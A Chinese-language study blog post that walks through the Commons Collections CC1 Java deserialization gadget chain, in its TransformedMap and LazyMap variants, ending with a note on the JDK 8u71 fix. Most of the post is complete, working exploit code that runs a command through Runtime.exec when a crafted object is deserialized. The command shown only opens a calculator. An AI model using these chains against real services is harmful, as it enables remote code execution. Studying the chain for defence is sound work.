Java反序列化CommonsCollections篇之CC1

该博客为参考学习笔记博客,仅为本人记录的笔记,所以欢迎大家去Drunkbaby师傅的博客中进行学习!Drunkbaby’s Blog

参考链接:

Java反序列化Commons-Collections篇01-CC1链

Java反序列化CommonsCollections篇(一) CC1链手写EXP

Java反序列化CommonsCollections篇(一) CC1链手写EXP这个视频里的师傅讲得已经相当详细了,本篇博客只是记录一些自己不太明白和思路不太清晰的地方,例如Runtime反射明明可以反序列化了,为什么还要调用InvokerTransformer?还有一些自己的思路理解的方向,跟视频中不完全一致,还有视频中没有讲解到的一些地方进行了解析;

一、环境搭建

环境搭建的方法大家可以参考视频Java反序列化CommonsCollections篇(一) CC1链手写EXP

本人使用的环境是:

二、CommonCollections之TransformMap利用链

根据之前的URLDNS链可以类似的总结出来反序列化攻击的利用链寻找思路是从后面往前面去找,先找到能够利用的危险函数再往前找利用的链路和类型,我们必须要有危险函数可以实现利用,然后再一步一步往前构造实现利用链;

重点应该在于不同类的同名函数调用,通过传入危险类的实例作为参数的某个类的实例调用该同名函数实现对危险类该同名危险函数的调用(总之,我们的目的就是调用危险类的的危险函数,但是我们无法直接调用,需要通过反序列化进行调用一些平常函数然后形成链调用危险类的危险函数);

image-20240811214753984

2.1 InvokerTransformer实现命令执行

这里我们通过查找Transformer接口的实现类查看是否存在相关的实现的java类能够实现命令执行,最后我们再InvokerTransformer中找到了能够实现命令执行的transform方法实现;

image-20240811222607654

其中的input作为形参传入,iMethodNameiParamTypesiArgs三个变量均是类中属性,可以在实例化时对其进行初始化;

image-20240811222820755

因此我们可以根据该实现调用Runtime类中的exec实现弹calc计算器;实践开始!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class InvokerTransformerReturnCalc {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
/**
* public InvokerTransformer(String iMethodName, Class[] iParamTypes, Object[] iArgs);
* iMethodName: 调用方法的名称
* iParamTypes: 调用方法的参数类型
* iArgs: 调用方法传入的参数
* public Object transform(Object input);
* input: 调用方法的实例
*
* Class cls = input.getClass();
* Method method = cls.getMethod(iMethodName, iParamTypes);
* return method.invoke(input, iArgs);
*/
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
}
}

image-20240811224051191

成功弹出计算器,那么我们后续的工作就是寻找利用链了;怎么通过反序列化调用该函数实现命令执行,一步一步往前构造;

目前,我们就已经实现了上述流程图的最后一步,得到以下的流程图:

image-20240811224636167

2.2 TransformedMap调用transform函数

通过idea自带的查找用法查找存在哪些函数调用了该同名函数transform

image-20240811225305343

image-20240811225340029

可以看到总共有21个结果;如果结果数量较少或者没有,点击左边的设置,将作用域更改为所有位置即可;

对于这21个结果呢,其实还是有一部分能够继续构成链的,但是这一部分中,最后能够跟反序列化构成链的应该没几个;

那么这时候问题就来了

“那我们在实际情况中应该选哪个呢?”

“我也不知道!一个个找找看呗,能构成利用链的那个就是啦!人工深搜(dfs)一下”

在本次中应该选择的是在TransformedMap中的checkSetValue()函数

image-20240811231445166

image-20240811231612014

image-20240811231622774

可以发现的是valueTransformer变量是作为类TransformedMap的属性,应该在其实例化时能够初始化;但是我们发现其构造函数是protected,无法调用其进行初始化;

image-20240811231819757

但是,天无绝人之路!还有一个decorate函数能够为我们所用进行实例化;所以我们可以利用该函数其实例化一个指定属性的TransformedMap类的实例;

image-20240811231837514

其实,细心的朋友可以发现咱们的checkSetValue函数也是protected的,我们不能够通过TransformedMap实例直接调用该函数,但是最后构造好的利用链的不同类均在内部包中,所以能够调用checkSetValue函数;

所以,我们目前先通过利用反射测试该方法是否能够成功弹出计算器;实践开始!

1
2
3
4
5
6
7
8
9
10
11
12
public class TransformedMapReturnCalc {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<? extends Map> mapClass = transformedMap.getClass();
Method checkSetValueMethod = mapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(transformedMap, r);
}
}

image-20240811233939604

确实是没有问题的,那么我们现在的利用链已经完善了一部分了,得到以下的流程图:

image-20240811234442634

2.3 MapEntry调用checkSetValue函数

继续重复刚才查找用法的步骤,可以发现仅存在一个地方调用了同名函数

image-20240812001048534

image-20240812001110197

来到调用函数的地方可以发现该类继承了MapEntry的装饰的抽象类;

image-20240812001217988

同样TransformedMap类也继承了Map输入检查的装饰类。

这里我们需要知道一个概念就是**Map.Entry就是在Map中的一个键值对(entry)**

到这里可能会有一点难理解,因为它们均继承了Map的装饰类,在CommonCollections中对Map接口进行了自己的实现,而MapEntry类即是继承AbstractMapEntryDecoratorMap.Entry接口中setValue方法的实现;

image-20240812002159979

因此,我们在通过decorate函数实例化的Map实例是通过CommonCollection实现的Map,因此该Map的Map.Entry的调用的setValue方法是MapEntry中实现的方法;

由于MapEntry是继承于Map.Entry的,所以setValue()是通过Map.Entry进行调用的;

但是说了这么多,其实我们根本也不需要管那个entry,因为跟它没什么关系啊!因为是parent变量在调用checkSetValue函数呀,我们需要的是执行checkSetValue函数;

image-20240812003036681

通过跟踪AbstractInputCheckedMapDecorator类型可以发现,其最终是实现Map接口的,所以可以简单认为其是一个Map类型(不规范啊,别这么认为,方便理解就行);

根据查看构造函数MapEntry的用法,大概可以猜测到其应该是一个默认值,即map变量,用来判断每个键值对entry归属于哪个map变量的。(大致理解和猜测,底层代码太多太复杂,看不太懂);

至此,可以得出的结论就是,通过entry调用setValue方法即可让map变量调用checkSetValue函数,这其实就已经达到我们的目的啦,因为我们要的就是让map变量调用checkSetValue函数;实践开始!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.candy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

/**
* @Project CC1
* @File com.candy.MapEntryReturnCalc.java
* @Author candy
* @Date 2024/8/12 0:44
* @Description
*/

public class MapEntryReturnCalc {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value"); // 键值是什么无所谓,主要是得有一对,这样才能取出键值对entry
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry : transformedMap.entrySet()){
entry.setValue(r);
}
}
}

image-20240812004702030

到这里,构造的利用链仍然没有问题,现在可以得到以下的流程图:(为了方便竖着放了,再横着放图就太长了看不清啦)

image-20240812004931078

2.4 AnnotationInvocationHandler入口类readObject()

在完成前面这部分内容之后可能我们会产生一个疑问,就是“什么时候我们这个链才算是结束?”其实就是存在一个重写的readObject()中调用了相应的同名函数;这时候我们可以通过反序列化调用该函数实现链的利用;

在本次的CC1链中,继续查找setValue函数的用法查找,最后在AnnotationInvocationHandler类中重写readObject函数找到了对该函数的调用;

image-20240812214541530

image-20240812214704690

可以看到menberValue变量的内容是跟memberValues变量有关的,也就是取出memberValues中的entry,这样只要我们将相应的map作为memberValues即可使其的entry调用setValue达到我们的目的;

来到该类的构造函数我们可以发现memberValues属性的值是可控的,我们在构造该类时即可设置相应的memberValues的值;

image-20240812214913706

我们首先尝试一下是否真的如我们所说的一样获得我们想要的属性值;由于AnnotationInvocationHandler类没有设置public属性,默认default,所以不能直接通过new进行实例化对象,因此需要通过反射进行实例化;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class AnnotationInvocationHandlerReturnCalc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// for(Map.Entry entry : transformedMap.entrySet()){
// entry.setValue(r);
// }
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Override.class, transformedMap);
serialize(annotationInvocationHandler);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20240812224619971

通过下断点调试代码可以知道确实如我们所说,memberValues变量确实是我们所设置的参数;继续调试我们会发现我们无法进入447行的if结构中,尝试满足其判断;首先我们需要详细分析一下在AnnotationInvocationHandler类中重写的readObject函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); //获取我们传入类的
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

其中type是我们自己传入的一个类,通过Chatgpt工具查询一下底层源码的功能我们可以知道annotationType = AnnotationType.getInstance(type);是为了获取type类中的元数据返回一个AnnotationType实例,对该实例在调用memberTypes()将属性名称和类型作为键值对构成Map;可以将type数据传入Target.class进行调试,得到以下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class AnnotationInvocationHandlerReturnCalc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap);
serialize(annotationInvocationHandler);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20240812235059978

image-20240812235112999

所以当我们传入Target.class时,我们确保我们的map中存在一个键的值为value即可进入447行的if结构;顺势之下,我们也通过了下面的那个if结构,因为下面的if结构仅是判断我们取出的是不是memberType类型的实例以及是不是ExceptionProxy类型的实例,均不是即可进入下面的if结构,因为我们的是value,所以成功进入下面的if结构

但是到这其实还不能够完成我们弹计算器的功能;因为在AnnotationInvocationHandler类中重写的readObject函数调用的setValues函数中传入的参数不可控,我们需要的应该是传入Runtime对象,然后去获取它的exec方法进行执行;

为了解决上述这个参数不可控的问题,我们需要介绍两个类,ChainedTransformerConstantTransformer来解决问题;

  • ChainedTransformer的作用和功能

链式执行: ChainedTransformer 接受一组 Transformer 对象,然后依次对输入数据应用这些转换transform()操作。每个 Transformer 的输出会作为下一个 Transformer 的输入。

  • ConstantTransformer的作用和功能

主要作用是在转换transform()时返回一个预定义的常量值,无论输入是什么。也就是说,不管传递给 ConstantTransformer 的输入对象是什么,它都会忽略输入,始终返回构造时指定的常量值。

根据以上两个类的功能,我们可以使setValues传入任何参数时,最后调用transform时传入的参数均为Runtime.class,具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class AnnotationInvocationHandlerReturnCalc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime();
Transformer[] transformers = {
new ConstantTransformer(r),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap);
serialize(annotationInvocationHandler);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20240812235932481

通过下断点一步步跟踪最后可以发现确实如之前预料的一样,最后的参数修改成为Runtime.class,达到修改参数的目的,但是继续运行会发现仍然产生异常;

image-20240813004818492

发现在序列化的过程中产生了异常,这个问题的来源是因为Runtime没有实现serializable不能进行序列化;

image-20240813004908731

我们之前利用过InvokerTransformer进行反射调用任意类的函数,我们也可以通过使用InvokerTransformer反射调用Runtime中的exec函数;

1
2
3
4
5
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(r, "calc");

先熟悉以下上述的反射调用exec函数的代码,我们在修改成InvokerTransformer调用即可;

1
2
3
4
5
6
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

最后得到我们完整的反序列化利用链代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.candy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project CC1
* @file com.candy.AnnotationInvocationHandlerReturnCalc.java
* @date 2024/8/12 22:03
*/

public class AnnotationInvocationHandlerReturnCalc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Target.class, transformedMap);
serialize(annotationInvocationHandler);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

根据最后的利用链代码得出以下的流程图;
image-20240813011247149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

之前我一直在想一个问题,为什么明明 Runtime.class已经能够序列化了还要需要转换成InvokerTransformer的形式,其实根本原因还是Runtime类型的实例不能够序列化,如果我们采用反射的形式去调用getRuntime得到Runtime的实例,无论如何都是没办法序列化的,所以我们才需要通过InvokerTransformer去反射调用,因为InvokerTransformer是实现了Serializable的,能够进行序列化,也能够利用其调用所有类方法的功能实现调用Runtime的exec去命令执行;

三、CommonCollections之LazyMap利用链

正版的CC1链在TransformMap利用链的利用思路下进行了部分修改

  • 不在使用TransformedMap进行利用,而是采用LazyMap动态代理技术实现利用链;

  • 相同点在于都采用InvokerTransformer进行函数调用命令执行的功能;

利用链的构造方法和之前一致,一步一步查找用法进行利用构造,直接找调用transform的函数方法;

3.1 LazyMap调用transform函数

通过查找用法可以看到LazyMap中的get函数调用了transform,照常需要知道factory属性是否可控,设置我们需要的值;

与此同时,get函数为public属性,可访问,传入参数可控;

image-20240813134019144

LazyMap中发现一个decorate函数与TransformedMapdecorate函数类似,可以设置factory属性的值,这样我们也就可以指定内容调用transform函数;

image-20240813134202075

image-20240813134256253

确定了这些以后,我们即可测试这部分内容是否可以构成利用,实践利用测试:

1
2
3
4
5
6
7
8
9
public class LazyMapReturnCalc {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, invokerTransformer);
lazyMap.get(r);
}
}

image-20240813135044396

目前得到的流程图,如下图所示:

image-20240813142307844

3.2 AnnotationInvocationHandler调用get函数

此处如果直接查找get函数的用法会有数不胜数的用法,但是在AnnotationInvocationHandler类中的invoke函数中也存在对get函数的调用;

image-20240817204021293

与此同时,AnnotationInvocationHandler类中存在重写readObject函数,也可作为入口类使用;

现在,关键就在于如何出发invoke函数,但是我们发现该类中实现了InvocationHandler

此时,想要调用invoke函数,我们就想到了动态代理。在一个类被代理了以后,通过代理调用该类的方法,就一定会调用该代理类重写invode函数。

image-20240817204250982

在原先的TransformeredMapCC1链的基础之上进行理解,readObject函数作用入口,memberValues属性调用了entrySet()方法,所以我们对memberValues属性进行设置代理,当它调用entrySet()方法时,会进行动态代理,则会触发invode函数。

image-20240817205512812

因此,最终得到以下的反序列化利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class LazyMapCC1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerDeclaredConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerDeclaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler)annotationInvocationHandlerDeclaredConstructor.newInstance(Target.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20240817211309187

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/

四、修复方式

参考链接:Java 反序列化 Commons-Collections 篇 02-CC1 链补充

4.1 TransformerMap 版的 CC1 链子

对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue() 方法的地方。

img

4.2 对于正版 CC1 链子

因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因

img


Java反序列化CommonsCollections篇之CC1
http://candyb0x.github.io/2024/08/13/Java反序列化CommonsCollections篇之CC1/
作者
Candy
发布于
2024年8月13日
更新于
2024年8月17日
许可协议